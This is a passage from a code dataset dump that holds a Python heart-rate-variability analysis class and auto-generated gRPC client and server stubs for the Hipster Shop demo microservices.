logging.exception(e)\n return []\n", "sub_path": "build/lib/mapapi/baidu/place_api.py", "file_name": "place_api.py", "file_ext": "py", "file_size_in_byte": 9362, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "requests.get", "line_number": 98, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 101, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 108, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 112, "usage_type": "call"}, {"api_name": "logging.exception", "line_number": 115, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 200, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 203, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 207, "usage_type": "call"}, {"api_name": "logging.exception", "line_number": 210, "usage_type": "call"}]} +{"seq_id": "363442748", "text": "from common.analyse import stupid_time_analysis, simple_filter, get_lomb_spectrum, get_cwt_spectrum, get_fft_spectrum, find_start_point\nfrom common.visualization import show_stupid_time_analysis, show_power_frequency\nfrom common.parsers import save_hr_to_csv, save_spectrum_power_to_csv\nfrom common.routines import get_data_path\nfrom multiprocessing import Process\n\n\nclass TrainingAnalyser(Process):\n def __init__(self, training_hash, analyse_settings, athlete_name=None, date=None, activity=None, max_size=None, value=None, return_info=None):\n Process.__init__(self)\n self.training_hash = training_hash\n self.athlete_name = athlete_name\n self.date = date\n self.activity = activity\n self.max_size = max_size\n self.value = value\n self.analyse_settings = analyse_settings\n self.return_info = return_info\n self.save_images = self.analyse_settings['save_images']\n self.show_images = False\n\n def run(self):\n if self.analyse_settings is None or type(self.analyse_settings) != dict:\n return\n\n spectrum_power_dict = None\n\n if 'pre-processing' in self.analyse_settings:\n if 'No filter' in self.analyse_settings['pre-processing']['filter']:\n pass\n elif 'Filter' in self.analyse_settings['pre-processing']['filter']:\n self.training_hash = simple_filter(self.training_hash, self.athlete_name, self.date, self.activity,\n self.show_images, self.save_images)\n\n if 'analyse' in self.analyse_settings:\n if 'time' in self.analyse_settings['analyse']:\n return_info = stupid_time_analysis(self.training_hash)\n self.return_info.append(['Time Analysis',\n show_stupid_time_analysis(return_info, self.athlete_name, self.date, self.activity,\n self.show_images, self.save_images)])\n\n if 'spectrum' in self.analyse_settings['analyse']:\n spectrum_functions = dict()\n if 'fft' in self.analyse_settings['analyse']:\n spectrum_functions['fft'] = get_fft_spectrum\n if 'lomb' in self.analyse_settings['analyse']:\n spectrum_functions['lomb'] = get_lomb_spectrum\n\n sec_interval = 100\n sec_change_step = 10\n assert type(self.training_hash) is dict\n time_values = [float(x) for x in sorted(self.training_hash.keys())]\n time_values = sorted(time_values)\n\n if 'wavelet' in self.analyse_settings['analyse']:\n self.return_info.append(['Spectrum wavelet Analysis', get_cwt_spectrum(\n self.training_hash, time_values[0:len(time_values)], self.athlete_name, self.date,\n self.activity, self.show_images, self.save_images)])\n\n del self.analyse_settings['analyse']['wavelet']\n\n frequency_method = dict()\n\n for key in spectrum_functions.keys():\n spectrum_functions[key](self.training_hash, time_values[0:len(time_values)], self.athlete_name,\n self.date, self.activity, self.show_images, self.save_images)\n\n count = 0\n last_start_point = 0\n last_end_point = 0\n for i in range(0, int(max(time_values) / sec_change_step) + 1):\n start_point = find_start_point(time_values, i * sec_change_step, last_start_point)\n last_start_point = start_point\n end_point = find_start_point(time_values, i * sec_change_step + sec_interval, last_end_point, True)\n last_end_point = end_point\n count += 1\n if end_point == len(time_values) - 1:\n break\n\n if self.max_size is not None:\n self.max_size.value = count\n last_start_point = 0\n last_end_point = 0\n for i in range(0, int(max(time_values) / sec_change_step) + 1):\n start_point = find_start_point(time_values, i * sec_change_step, last_start_point)\n last_start_point = start_point\n end_point = find_start_point(time_values, i * sec_change_step + sec_interval, last_end_point, True)\n last_end_point = end_point\n for key in spectrum_functions.keys():\n if key not in frequency_method:\n frequency_method[key] = []\n frequency_method[key].append(\n spectrum_functions[key](self.training_hash, time_values[start_point:end_point],\n self.athlete_name, self.date, self.activity, self.show_images,\n self.save_images))\n\n if self.value is not None:\n self.value.value = i\n if end_point == len(time_values) - 1:\n break\n\n for key in frequency_method.keys():\n lfl = [x[0] for x in frequency_method[key]]\n hfl = [x[1] for x in frequency_method[key]]\n tpl = [x[2] for x in frequency_method[key]]\n vlf = [x[3] for x in frequency_method[key]]\n vhf = [x[4] for x in frequency_method[key]]\n hf2lf = []\n for x in frequency_method[key]:\n if x[0] is not 0:\n hf2lf.append(x[1] / x[0])\n else:\n hf2lf.append(0)\n if spectrum_power_dict is None:\n spectrum_power_dict = dict()\n spectrum_power_dict[key] = [lfl, hfl, tpl, vlf, vhf, hf2lf]\n self.return_info.append(['Spectrum ' + key + ' Analysis', show_power_frequency(\n [key, lfl, hfl, tpl, vlf, vhf, hf2lf], self.athlete_name, self.date, self.activity,\n self.show_images, self.save_images)])\n\n if self.analyse_settings['save_csv']:\n self.generate_csv(spectrum_power_dict)\n\n self.value.value = -1\n\n def generate_csv(self, spectrum_power_dict):\n data_path = get_data_path(athlete=self.athlete_name, date=self.date, activity=self.activity)\n save_hr_to_csv(data_path + 'hrv_hb_info.csv', self.training_hash)\n if spectrum_power_dict is not None:\n assert type(spectrum_power_dict) is dict\n for key in spectrum_power_dict.keys():\n save_spectrum_power_to_csv(data_path + 'spectrum_data_' + key + '.csv', spectrum_power_dict[key])", "sub_path": "wrappers/analyser.py", "file_name": "analyser.py", "file_ext": "py", "file_size_in_byte": 6926, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "multiprocessing.Process", "line_number": 8, "usage_type": "name"}, {"api_name": "multiprocessing.Process.__init__", "line_number": 10, "usage_type": "call"}, {"api_name": "multiprocessing.Process", "line_number": 10, "usage_type": "name"}, {"api_name": "common.analyse.simple_filter", "line_number": 32, "usage_type": "call"}, {"api_name": "common.analyse.stupid_time_analysis", "line_number": 37, "usage_type": "call"}, {"api_name": "common.visualization.show_stupid_time_analysis", "line_number": 39, "usage_type": "call"}, {"api_name": "common.analyse.get_fft_spectrum", "line_number": 45, "usage_type": "name"}, {"api_name": "common.analyse.get_lomb_spectrum", "line_number": 47, "usage_type": "name"}, {"api_name": "common.analyse.get_cwt_spectrum", "line_number": 56, "usage_type": "call"}, {"api_name": "common.analyse.find_start_point", "line_number": 72, "usage_type": "call"}, {"api_name": "common.analyse.find_start_point", "line_number": 74, "usage_type": "call"}, {"api_name": "common.analyse.find_start_point", "line_number": 85, "usage_type": "call"}, {"api_name": "common.analyse.find_start_point", "line_number": 87, "usage_type": "call"}, {"api_name": "common.visualization.show_power_frequency", "line_number": 117, "usage_type": "call"}, {"api_name": "common.routines.get_data_path", "line_number": 127, "usage_type": "call"}, {"api_name": "common.parsers.save_hr_to_csv", "line_number": 128, "usage_type": "call"}, {"api_name": "common.parsers.save_spectrum_power_to_csv", "line_number": 132, "usage_type": "call"}]} +{"seq_id": "437056160", "text": "#!/usr/bin/python\n#\n# Copyright 2018 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT!\n\"\"\"Client and server classes corresponding to protobuf-defined services.\"\"\"\nimport grpc\n\nimport demo_pb2 as demo__pb2\n\n\nclass CartServiceStub(object):\n \"\"\"-----------------Cart service-----------------\n\n \"\"\"\n\n def __init__(self, channel):\n \"\"\"Constructor.\n\n Args:\n channel: A grpc.Channel.\n \"\"\"\n self.AddItem = channel.unary_unary(\n '/hipstershop.CartService/AddItem',\n request_serializer=demo__pb2.AddItemRequest.SerializeToString,\n response_deserializer=demo__pb2.Empty.FromString,\n )\n self.GetCart = channel.unary_unary(\n '/hipstershop.CartService/GetCart',\n request_serializer=demo__pb2.GetCartRequest.SerializeToString,\n response_deserializer=demo__pb2.Cart.FromString,\n )\n self.EmptyCart = channel.unary_unary(\n '/hipstershop.CartService/EmptyCart',\n request_serializer=demo__pb2.EmptyCartRequest.SerializeToString,\n response_deserializer=demo__pb2.Empty.FromString,\n )\n\n\nclass CartServiceServicer(object):\n \"\"\"-----------------Cart service-----------------\n\n \"\"\"\n\n def AddItem(self, request, context):\n \"\"\"Missing associated documentation comment in .proto file.\"\"\"\n context.set_code(grpc.StatusCode.UNIMPLEMENTED)\n context.set_details('Method not implemented!')\n raise NotImplementedError('Method not implemented!')\n\n def GetCart(self, request, context):\n \"\"\"Missing associated documentation comment in .proto file.\"\"\"\n context.set_code(grpc.StatusCode.UNIMPLEMENTED)\n context.set_details('Method not implemented!')\n raise NotImplementedError('Method not implemented!')\n\n def EmptyCart(self, request, context):\n \"\"\"Missing associated documentation comment in .proto file.\"\"\"\n context.set_code(grpc.StatusCode.UNIMPLEMENTED)\n context.set_details('Method not implemented!')\n raise NotImplementedError('Method not implemented!')\n\n\ndef add_CartServiceServicer_to_server(servicer, server):\n rpc_method_handlers = {\n 'AddItem': grpc.unary_unary_rpc_method_handler(\n servicer.AddItem,\n request_deserializer=demo__pb2.AddItemRequest.FromString,\n response_serializer=demo__pb2.Empty.SerializeToString,\n ),\n 'GetCart': grpc.unary_unary_rpc_method_handler(\n servicer.GetCart,\n request_deserializer=demo__pb2.GetCartRequest.FromString,\n response_serializer=demo__pb2.Cart.SerializeToString,\n ),\n 'EmptyCart': grpc.unary_unary_rpc_method_handler(\n servicer.EmptyCart,\n request_deserializer=demo__pb2.EmptyCartRequest.FromString,\n response_serializer=demo__pb2.Empty.SerializeToString,\n ),\n }\n generic_handler = grpc.method_handlers_generic_handler(\n 'hipstershop.CartService', rpc_method_handlers)\n server.add_generic_rpc_handlers((generic_handler,))\n\n\n # This class is part of an EXPERIMENTAL API.\nclass CartService(object):\n \"\"\"-----------------Cart service-----------------\n\n \"\"\"\n\n @staticmethod\n def AddItem(request,\n target,\n options=(),\n channel_credentials=None,\n call_credentials=None,\n insecure=False,\n compression=None,\n wait_for_ready=None,\n timeout=None,\n metadata=None):\n return grpc.experimental.unary_unary(request, target, '/hipstershop.CartService/AddItem',\n demo__pb2.AddItemRequest.SerializeToString,\n demo__pb2.Empty.FromString,\n options, channel_credentials,\n insecure, call_credentials, compression, wait_for_ready, timeout, metadata)\n\n @staticmethod\n def GetCart(request,\n target,\n options=(),\n channel_credentials=None,\n call_credentials=None,\n insecure=False,\n compression=None,\n wait_for_ready=None,\n timeout=None,\n metadata=None):\n return grpc.experimental.unary_unary(request, target, '/hipstershop.CartService/GetCart',\n demo__pb2.GetCartRequest.SerializeToString,\n demo__pb2.Cart.FromString,\n options, channel_credentials,\n insecure, call_credentials, compression, wait_for_ready, timeout, metadata)\n\n @staticmethod\n def EmptyCart(request,\n target,\n options=(),\n channel_credentials=None,\n call_credentials=None,\n insecure=False,\n compression=None,\n wait_for_ready=None,\n timeout=None,\n metadata=None):\n return grpc.experimental.unary_unary(request, target, '/hipstershop.CartService/EmptyCart',\n demo__pb2.EmptyCartRequest.SerializeToString,\n demo__pb2.Empty.FromString,\n options, channel_credentials,\n insecure, call_credentials, compression, wait_for_ready, timeout, metadata)\n\n\nclass RecommendationServiceStub(object):\n \"\"\"---------------Recommendation service----------\n\n \"\"\"\n\n def __init__(self, channel):\n \"\"\"Constructor.\n\n Args:\n channel: A grpc.Channel.\n \"\"\"\n self.ListRecommendations = channel.unary_unary(\n '/hipstershop.RecommendationService/ListRecommendations',\n request_serializer=demo__pb2.ListRecommendationsRequest.SerializeToString,\n response_deserializer=demo__pb2.ListRecommendationsResponse.FromString,\n )\n\n\nclass RecommendationServiceServicer(object):\n \"\"\"---------------Recommendation service----------\n\n \"\"\"\n\n def ListRecommendations(self, request, context):\n \"\"\"Missing associated documentation comment in .proto file.\"\"\"\n context.set_code(grpc.StatusCode.UNIMPLEMENTED)\n context.set_details('Method not implemented!')\n raise NotImplementedError('Method not implemented!')\n\n\ndef add_RecommendationServiceServicer_to_server(servicer, server):\n rpc_method_handlers = {\n 'ListRecommendations': grpc.unary_unary_rpc_method_handler(\n servicer.ListRecommendations,\n request_deserializer=demo__pb2.ListRecommendationsRequest.FromString,\n response_serializer=demo__pb2.ListRecommendationsResponse.SerializeToString,\n ),\n }\n generic_handler = grpc.method_handlers_generic_handler(\n 'hipstershop.RecommendationService', rpc_method_handlers)\n server.add_generic_rpc_handlers((generic_handler,))\n\n\n # This class is part of an EXPERIMENTAL API.\nclass RecommendationService(object):\n \"\"\"---------------Recommendation service----------\n\n \"\"\"\n\n @staticmethod\n def ListRecommendations(request,\n target,\n options=(),\n channel_credentials=None,\n call_credentials=None,\n insecure=False,\n compression=None,\n wait_for_ready=None,\n timeout=None,\n metadata=None):\n return grpc.experimental.unary_unary(request, target, '/hipstershop.RecommendationService/ListRecommendations',\n demo__pb2.ListRecommendationsRequest.SerializeToString,\n demo__pb2.ListRecommendationsResponse.FromString,\n options, channel_credentials,\n insecure, call_credentials, compression, wait_for_ready, timeout, metadata)\n\n\nclass ProductCatalogServiceStub(object):\n \"\"\"---------------Product Catalog----------------\n\n \"\"\"\n\n def __init__(self, channel):\n \"\"\"Constructor.\n\n Args:\n channel: A grpc.Channel.\n \"\"\"\n self.ListProducts = channel.unary_unary(\n '/hipstershop.ProductCatalogService/ListProducts',\n request_serializer=demo__pb2.Empty.SerializeToString,\n response_deserializer=demo__pb2.ListProductsResponse.FromString,\n )\n self.GetProduct = channel.unary_unary(\n '/hipstershop.ProductCatalogService/GetProduct',\n request_serializer=demo__pb2.GetProductRequest.SerializeToString,\n response_deserializer=demo__pb2.Product.FromString,\n )\n self.SearchProducts = channel.unary_unary(\n '/hipstershop.ProductCatalogService/SearchProducts',\n request_serializer=demo__pb2.SearchProductsRequest.SerializeToString,\n response_deserializer=demo__pb2.SearchProductsResponse.FromString,\n )\n\n\nclass ProductCatalogServiceServicer(object):\n \"\"\"---------------Product Catalog----------------\n\n \"\"\"\n\n def ListProducts(self, request, context):\n \"\"\"Missing associated documentation comment in .proto file.\"\"\"\n context.set_code(grpc.StatusCode.UNIMPLEMENTED)\n context.set_details('Method not implemented!')\n raise NotImplementedError('Method not implemented!')\n\n def GetProduct(self, request, context):\n \"\"\"Missing associated documentation comment in .proto file.\"\"\"\n context.set_code(grpc.StatusCode.UNIMPLEMENTED)\n context.set_details('Method not implemented!')\n raise NotImplementedError('Method not implemented!')\n\n def SearchProducts(self, request, context):\n \"\"\"Missing associated documentation comment in .proto file.\"\"\"\n context.set_code(grpc.StatusCode.UNIMPLEMENTED)\n context.set_details('Method not implemented!')\n raise NotImplementedError('Method not implemented!')\n\n\ndef add_ProductCatalogServiceServicer_to_server(servicer, server):\n rpc_method_handlers = {\n 'ListProducts': grpc.unary_unary_rpc_method_handler(\n servicer.ListProducts,\n request_deserializer=demo__pb2.Empty.FromString,\n response_serializer=demo__pb2.ListProductsResponse.SerializeToString,\n ),\n 'GetProduct': grpc.unary_unary_rpc_method_handler(\n servicer.GetProduct,\n request_deserializer=demo__pb2.GetProductRequest.FromString,\n response_serializer=demo__pb2.Product.SerializeToString,\n ),\n 'SearchProducts': grpc.unary_unary_rpc_method_handler(\n servicer.SearchProducts,\n request_deserializer=demo__pb2.SearchProductsRequest.FromString,\n response_serializer=demo__pb2.SearchProductsResponse.SerializeToString,\n ),\n }\n generic_handler = grpc.method_handlers_generic_handler(\n 'hipstershop.ProductCatalogService', rpc_method_handlers)\n server.add_generic_rpc_handlers((generic_handler,))\n\n\n # This class is part of an EXPERIMENTAL API.\nclass ProductCatalogService(object):\n \"\"\"---------------Product Catalog----------------\n\n \"\"\"\n\n @staticmethod\n def ListProducts(request,\n target,\n options=(),\n channel_credentials=None,\n call_credentials=None,\n insecure=False,\n compression=None,\n wait_for_ready=None,\n timeout=None,\n metadata=None):\n return grpc.experimental.unary_unary(request, target, '/hipstershop.ProductCatalogService/ListProducts',\n demo__pb2.Empty.SerializeToString,\n demo__pb2.ListProductsResponse.FromString,\n options, channel_credentials,\n insecure, call_credentials, compression, wait_for_ready, timeout, metadata)\n\n @staticmethod\n def GetProduct(request,\n target,\n options=(),\n channel_credentials=None,\n call_credentials=None,\n insecure=False,\n compression=None,\n wait_for_ready=None,\n timeout=None,\n metadata=None):\n return grpc.experimental.unary_unary(request, target, '/hipstershop.ProductCatalogService/GetProduct',\n demo__pb2.GetProductRequest.SerializeToString,\n demo__pb2.Product.FromString,\n options, channel_credentials,\n insecure, call_credentials, compression, wait_for_ready, timeout, metadata)\n\n @staticmethod\n def SearchProducts(request,\n target,\n options=(),\n channel_credentials=None,\n call_credentials=None,\n insecure=False,\n compression=None,\n wait_for_ready=None,\n timeout=None,\n metadata=None):\n return grpc.experimental.unary_unary(request, target, '/hipstershop.ProductCatalogService/SearchProducts',\n demo__pb2.SearchProductsRequest.SerializeToString,\n demo__pb2.SearchProductsResponse.FromString,\n options, channel_credentials,\n insecure, call_credentials, compression, wait_for_ready, timeout, metadata)\n\n\nclass ShippingServiceStub(object):\n \"\"\"---------------Shipping Service----------\n\n \"\"\"\n\n def __init__(self, channel):\n \"\"\"Constructor.\n\n Args:\n channel: A grpc.Channel.\n \"\"\"\n self.GetQuote = channel.unary_unary(\n '/hipstershop.ShippingService/GetQuote',\n request_serializer=demo__pb2.GetQuoteRequest.SerializeToString,\n response_deserializer=demo__pb2.GetQuoteResponse.FromString,\n )\n self.ShipOrder = channel.unary_unary(\n '/hipstershop.ShippingService/ShipOrder',\n request_serializer=demo__pb2.ShipOrderRequest.SerializeToString,\n response_deserializer=demo__pb2.ShipOrderResponse.FromString,\n )\n\n\nclass ShippingServiceServicer(object):\n \"\"\"---------------Shipping Service----------\n\n \"\"\"\n\n def GetQuote(self, request, context):\n \"\"\"Missing associated documentation comment in .proto file.\"\"\"\n context.set_code(grpc.StatusCode.UNIMPLEMENTED)\n context.set_details('Method not implemented!')\n raise NotImplementedError('Method not implemented!')\n\n def ShipOrder(self, request, context):\n \"\"\"Missing associated documentation comment in .proto file.\"\"\"\n context.set_code(grpc.StatusCode.UNIMPLEMENTED)\n context.set_details('Method not implemented!')\n raise NotImplementedError('Method not implemented!')\n\n\ndef add_ShippingServiceServicer_to_server(servicer, server):\n rpc_method_handlers = {\n 'GetQuote': grpc.unary_unary_rpc_method_handler(\n servicer.GetQuote,\n request_deserializer=demo__pb2.GetQuoteRequest.FromString,\n response_serializer=demo__pb2.GetQuoteResponse.SerializeToString,\n ),\n 'ShipOrder': grpc.unary_unary_rpc_method_handler(\n servicer.ShipOrder,\n request_deserializer=demo__pb2.ShipOrderRequest.FromString,\n response_serializer=demo__pb2.ShipOrderResponse.SerializeToString,\n ),\n }\n generic_handler = grpc.method_handlers_generic_handler(\n 'hipstershop.ShippingService', rpc_method_handlers)\n server.add_generic_rpc_handlers((generic_handler,))\n\n\n # This class is part of an EXPERIMENTAL API.\nclass ShippingService(object):\n \"\"\"---------------Shipping Service----------\n\n \"\"\"\n\n @staticmethod\n def GetQuote(request,\n target,\n options=(),\n channel_credentials=None,\n call_credentials=None,\n insecure=False,\n compression=None,\n wait_for_ready=None,\n timeout=None,\n metadata=None):\n return grpc.experimental.unary_unary(request, target, '/hipstershop.ShippingService/GetQuote',\n demo__pb2.GetQuoteRequest.SerializeToString,\n demo__pb2.GetQuoteResponse.FromString,\n options, channel_credentials,\n insecure, call_credentials, compression, wait_for_ready, timeout, metadata)\n\n @staticmethod\n def ShipOrder(request,\n target,\n options=(),\n channel_credentials=None,\n call_credentials=None,\n insecure=False,\n compression=None,\n wait_for_ready=None,\n timeout=None,\n metadata=None):\n return grpc.experimental.unary_unary(request, target, '/hipstershop.ShippingService/ShipOrder',\n demo__pb2.ShipOrderRequest.SerializeToString,\n demo__pb2.ShipOrderResponse.FromString,\n options, channel_credentials,\n insecure, call_credentials, compression, wait_for_ready, timeout, metadata)\n\n\nclass CurrencyServiceStub(object):\n \"\"\"-----------------Currency service-----------------\n\n \"\"\"\n\n def __init__(self, channel):\n \"\"\"Constructor.\n\n Args:\n channel: A grpc.Channel.\n \"\"\"\n self.GetSupportedCurrencies = channel.unary_unary(\n '/hipstershop.CurrencyService/GetSupportedCurrencies',\n request_serializer=demo__pb2.Empty.SerializeToString,\n response_deserializer=demo__pb2.GetSupportedCurrenciesResponse.FromString,\n )\n self.Convert = channel.unary_unary(\n '/hipstershop.CurrencyService/Convert',\n request_serializer=demo__pb2.CurrencyConversionRequest.SerializeToString,\n response_deserializer=demo__pb2.Money.FromString,\n )\n\n\nclass CurrencyServiceServicer(object):\n \"\"\"-----------------Currency service-----------------\n\n \"\"\"\n\n def GetSupportedCurrencies(self, request, context):\n \"\"\"Missing associated documentation comment in .proto file.\"\"\"\n context.set_code(grpc.StatusCode.UNIMPLEMENTED)\n context.set_details('Method not implemented!')\n raise NotImplementedError('Method not implemented!')\n\n def Convert(self, request, context):\n \"\"\"Missing associated documentation comment in .proto file.\"\"\"\n context.set_code(grpc.StatusCode.UNIMPLEMENTED)\n context.set_details('Method not implemented!')\n raise NotImplementedError('Method not implemented!')\n\n\ndef add_CurrencyServiceServicer_to_server(servicer, server):\n rpc_method_handlers = {\n 'GetSupportedCurrencies': grpc.unary_unary_rpc_method_handler(\n servicer.GetSupportedCurrencies,\n request_deserializer=demo__pb2.Empty.FromString,\n response_serializer=demo__pb2.GetSupportedCurrenciesResponse.SerializeToString,\n ),\n 'Convert': grpc.unary_unary_rpc_method_handler(\n servicer.Convert,\n request_deserializer=demo__pb2.CurrencyConversionRequest.FromString,\n response_serializer=demo__pb2.Money.SerializeToString,\n ),\n }\n generic_handler = grpc.method_handlers_generic_handler(\n 'hipstershop.CurrencyService', rpc_method_handlers)\n server.add_generic_rpc_handlers((generic_handler,))\n\n\n # This class is part of an EXPERIMENTAL API.\nclass CurrencyService(object):\n \"\"\"-----------------Currency service-----------------\n\n \"\"\"\n\n @staticmethod\n def GetSupportedCurrencies(request,\n target,\n options=(),\n channel_credentials=None,\n call_credentials=None,\n insecure=False,\n compression=None,\n wait_for_ready=None,\n timeout=None,\n metadata=None):\n return grpc.experimental.unary_unary(request, target, '/hipstershop.CurrencyService/GetSupportedCurrencies',\n demo__pb2.Empty.SerializeToString,\n demo__pb2.GetSupportedCurrenciesResponse.FromString,\n options, channel_credentials,\n insecure, call_credentials, compression, wait_for_ready, timeout, metadata)\n\n @staticmethod\n def Convert(request,\n target,\n options=(),\n channel_credentials=None,\n call_credentials=None,\n insecure=False,\n compression=None,\n wait_for_ready=None,\n timeout=None,\n metadata=None):\n return grpc.experimental.unary_unary(request, target, '/hipstershop.CurrencyService/Convert',\n demo__pb2.CurrencyConversionRequest.SerializeToString,\n demo__pb2.Money.FromString,\n options, channel_credentials,\n insecure, call_credentials, compression, wait_for_ready, timeout, metadata)\n\n\nclass PaymentServiceStub(object):\n \"\"\"-------------Payment service-----------------\n\n \"\"\"\n\n def __init__(self, channel):\n \"\"\"Constructor.\n\n Args:\n channel: A grpc.Channel.\n \"\"\"\n self.Charge = channel.unary_unary(\n '/hipstershop.PaymentService/Charge',\n request_serializer=demo__pb2.ChargeRequest.SerializeToString,\n response_deserializer=demo__pb2.ChargeResponse.FromString,\n )\n\n\nclass PaymentServiceServicer(object):\n \"\"\"-------------Payment service-----------------\n\n \"\"\"\n\n def Charge(self, request, context):\n \"\"\"Missing associated documentation comment in .proto file.\"\"\"\n context.set_code(grpc.StatusCode.UNIMPLEMENTED)\n context.set_details('Method not implemented!')\n raise NotImplementedError('Method not implemented!')\n\n\ndef add_PaymentServiceServicer_to_server(servicer, server):\n rpc_method_handlers = {\n 'Charge': grpc.unary_unary_rpc_method_handler(\n servicer.Charge,\n request_deserializer=demo__pb2.ChargeRequest.FromString,\n response_serializer=demo__pb2.ChargeResponse.SerializeToString,\n ),\n }\n generic_handler = grpc.method_handlers_generic_handler(\n 'hipstershop.PaymentService', rpc_method_handlers)\n server.add_generic_rpc_handlers((generic_handler,))\n\n\n # This class is part of an EXPERIMENTAL API.\nclass PaymentService(object):\n \"\"\"-------------Payment service-----------------\n\n \"\"\"\n\n @staticmethod\n def Charge(request,\n target,\n options=(),\n channel_credentials=None,\n call_credentials=None,\n insecure=False,\n compression=None,\n wait_for_ready=None,\n timeout=None,\n metadata=None):\n return grpc.experimental.unary_unary(request, target, '/hipstershop.PaymentService/Charge',\n demo__pb2.ChargeRequest.SerializeToString,\n demo__pb2.ChargeResponse.FromString,\n options, channel_credentials,\n insecure, call_credentials, compression, wait_for_ready, timeout, metadata)\n\n\nclass EmailServiceStub(object):\n \"\"\"-------------Email service-----------------\n\n \"\"\"\n\n def __init__(self, channel):\n \"\"\"Constructor.\n\n Args:\n channel: A grpc.Channel.\n \"\"\"\n self.SendOrderConfirmation = channel.unary_unary(\n '/hipstershop.EmailService/SendOrderConfirmation',\n request_serializer=demo__pb2.SendOrderConfirmationRequest.SerializeToString,\n response_deserializer=demo__pb2.Empty.FromString,\n )\n\n\nclass EmailServiceServicer(object):\n \"\"\"-------------Email service-----------------\n\n \"\"\"\n\n def SendOrderConfirmation(self, request, context):\n \"\"\"Missing associated documentation comment in .proto file.\"\"\"\n context.set_code(grpc.StatusCode.UNIMPLEMENTED)\n context.set_details('Method not implemented!')\n raise NotImplementedError('Method not implemented!')\n\n\ndef add_EmailServiceServicer_to_server(servicer, server):\n rpc_method_handlers = {\n 'SendOrderConfirmation': grpc.unary_unary_rpc_method_handler(\n servicer.SendOrderConfirmation,\n request_deserializer=demo__pb2.SendOrderConfirmationRequest.FromString,\n response_serializer=demo__pb2.Empty.SerializeToString,\n ),\n }\n generic_handler = grpc.method_handlers_generic_handler(\n 'hipstershop.EmailService', rpc_method_handlers)\n server.add_generic_rpc_handlers((generic_handler,))\n\n\n # This class is part of an EXPERIMENTAL API.\nclass EmailService(object):\n \"\"\"-------------Email service-----------------\n\n \"\"\"\n\n @staticmethod\n def SendOrderConfirmation(request,\n target,\n options=(),\n channel_credentials=None,\n call_credentials=None,\n insecure=False,\n compression=None,\n wait_for_ready=None,\n timeout=None,\n metadata=None):\n return grpc.experimental.unary_unary(request, target, '/hipstershop.EmailService/SendOrderConfirmation',\n demo__pb2.SendOrderConfirmationRequest.SerializeToString,\n demo__pb2.Empty.FromString,\n options, channel_credentials,\n insecure, call_credentials, compression, wait_for_ready, timeout, metadata)\n\n\nclass CheckoutServiceStub(object):\n \"\"\"-------------Checkout service-----------------\n\n \"\"\"\n\n def __init__(self, channel):\n \"\"\"Constructor.\n\n Args:\n channel: A grpc.Channel.\n \"\"\"\n self.PlaceOrder = channel.unary_unary(\n '/hipstershop.CheckoutService/PlaceOrder',\n request_serializer=demo__pb2.PlaceOrderRequest.SerializeToString,\n response_deserializer=demo__pb2.PlaceOrderResponse.FromString,\n )\n\n\nclass CheckoutServiceServicer(object):\n \"\"\"-------------Checkout service-----------------\n\n \"\"\"\n\n def PlaceOrder(self, request, context):\n \"\"\"Missing associated documentation comment in .proto file.\"\"\"\n context.set_code(grpc.StatusCode.UNIMPLEMENTED)\n context.set_details('Method not implemented!')\n raise NotImplementedError('Method not implemented!')\n\n\ndef add_CheckoutServiceServicer_to_server(servicer, server):\n rpc_method_handlers = {\n 'PlaceOrder': grpc.unary_unary_rpc_method_handler(\n servicer.PlaceOrder,\n request_deserializer=demo__pb2.PlaceOrderRequest.FromString,\n response_serializer=demo__pb2.PlaceOrderResponse.SerializeToString,\n ),\n }\n generic_handler = grpc.method_handlers_generic_handler(\n 'hipstershop.CheckoutService', rpc_method_handlers)\n server.add_generic_rpc_handlers((generic_handler,))\n\n\n # This class is part of an EXPERIMENTAL API.\nclass CheckoutService(object):\n \"\"\"-------------Checkout service-----------------\n\n \"\"\"\n\n @staticmethod\n def PlaceOrder(request,\n target,\n options=(),\n channel_credentials=None,\n call_credentials=None,\n insecure=False,\n compression=None,\n wait_for_ready=None,\n timeout=None,\n metadata=None):\n return grpc.experimental.unary_unary(request, target, '/hipstershop.CheckoutService/PlaceOrder',\n demo__pb2.PlaceOrderRequest.SerializeToString,\n demo__pb2.PlaceOrderResponse.FromString,\n options, channel_credentials,\n insecure, call_credentials, compression, wait_for_ready, timeout, metadata)\n\n\nclass AdServiceStub(object):\n \"\"\"------------Ad service------------------\n\n \"\"\"\n\n def __init__(self, channel):\n \"\"\"Constructor.\n\n Args:\n channel: A grpc.Channel.\n \"\"\"\n self.GetAds = channel.unary_unary(\n '/hipstershop.AdService/GetAds',\n request_serializer=demo__pb2.AdRequest.SerializeToString,\n response_deserializer=demo__pb2.AdResponse.FromString,\n )\n\n\nclass AdServiceServicer(object):\n \"\"\"------------Ad service------------------\n\n \"\"\"\n\n def GetAds(self, request, context):\n \"\"\"Missing associated documentation comment in .proto file.\"\"\"\n context.set_code(grpc.StatusCode.UNIMPLEMENTED)\n context.set_details('Method not implemented!')\n raise NotImplementedError('Method not implemented!')\n\n\ndef add_AdServiceServicer_to_server(servicer, server):\n rpc_method_handlers = {\n 'GetAds': grpc.unary_unary_rpc_method_handler(\n servicer.GetAds,\n request_deserializer=demo__pb2.AdRequest.FromString,\n response_serializer=demo__pb2.AdResponse.SerializeToString,\n ),\n }\n generic_handler = grpc.method_handlers_generic_handler(\n 'hipstershop.AdService', rpc_method_handlers)\n server.add_generic_rpc_handlers((generic_handler,))\n\n\n # This class is part of an EXPERIMENTAL API.\nclass AdService(object):\n \"\"\"------------Ad service------------------\n\n \"\"\"\n\n @staticmethod\n def GetAds(request,\n target,\n options=(),\n channel_credentials=None,\n call_credentials=None,\n insecure=False,\n 